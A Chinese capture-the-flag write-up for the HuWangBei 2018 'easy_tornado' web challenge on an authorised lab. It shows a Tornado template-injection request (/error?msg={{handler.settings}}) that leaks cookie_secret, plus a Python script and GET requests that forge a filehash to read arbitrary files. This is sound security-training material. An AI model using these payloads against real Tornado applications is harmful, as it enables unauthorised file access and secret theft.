护网杯 2018 - Web - easy_tornado

题目信息

项 内容
比赛 护网杯 2018
方向 Web
难度 Easy
环境 授权靶场(已脱敏)

信息收集

首页泄漏三个文件链接:

  • /hints.txt:md5(cookie_secret+md5(filename))(filehash 算法提示)
  • /welcome.txt:render(提示 SSTI)
  • /flag.txt:flag in /fllllllllllllag

题目 ID、练习场 ID、friendly_id 与提交记录 ID 等标识已脱敏。

漏洞分析

类型:Tornado 模板注入(SSTI)+ cookie_secret 泄漏 + filehash 伪造。

原理:filehash 算法为 md5(cookie_secret + md5(filename))(由 /hints.txt 提示)。/file 读取任意文件需正确 filehash。/error?msg= 存在 Tornado 模板注入,可读 handler.settings 泄漏 cookie_secret,从而伪造任意文件的 filehash。

利用过程

  1. 定位 SSTI:/error?msg={{1}} → 1(模板执行);{{2*2}}、{{1+1}} → ORZ(运算符 *、+、_ 被过滤)。
  2. 泄漏 cookie_secret:/error?msg={{handler.settings}} →
1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'}
  1. 计算 filehash 读 flag:
1
2
3
4
5
import hashlib
cookie_secret = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'
filename = '/fllllllllllllag'
filehash = hashlib.md5((cookie_secret + hashlib.md5(filename.encode()).hexdigest()).encode()).hexdigest()
# filehash = d95e40114b826b6a9c4064f0be5d465f
  1. 读 flag:请求携带文件名与算出的 filehash。
1
2
GET /file?filename=/fllllllllllllag&filehash=d95e40114b826b6a9c4064f0be5d465f HTTP/1.1
Host: target:8080

完整 EXP

payload 归档内容并入本节。

SSTI 泄漏 cookie_secret 的请求:

1
2
GET /error?msg={{handler.settings}} HTTP/1.1
Host: target:8080

计算 filehash 并读 flag 的脚本与请求:

1
2
3
4
5
import hashlib
cookie_secret = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx'
filename = '/fllllllllllllag'
filehash = hashlib.md5((cookie_secret + hashlib.md5(filename.encode()).hexdigest()).encode()).hexdigest()
# d95e40114b826b6a9c4064f0be5d465f
1
2
GET /file?filename=/fllllllllllllag&filehash=d95e40114b826b6a9c4064f0be5d465f HTTP/1.1
Host: target:8080

关键信息:

  • cookie_secret:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
  • flag 位置:/fllllllllllllag
  • filehash 算法:md5(cookie_secret + md5(filename))

Flag

1
flag{xxxx}

提交记录:结果 accepted,+1 分(真实 flag 与提交 ID 已脱敏)。

踩坑与总结

  • 运算符 *、+、_ 被过滤(返回 ORZ),但 {{handler.settings}} 可直接读应用配置。
  • 先 /error?msg={{1}} 确认模板执行,再读 handler.settings 拿 cookie_secret,避免盲目构造。
  • filehash 是 cookie_secret 与「文件名 md5 的十六进制串」拼接后再取 md5,注意是内层 hexdigest 而非原始字节。
  • 平台提交 accepted、+1 分,二次复现结果一致。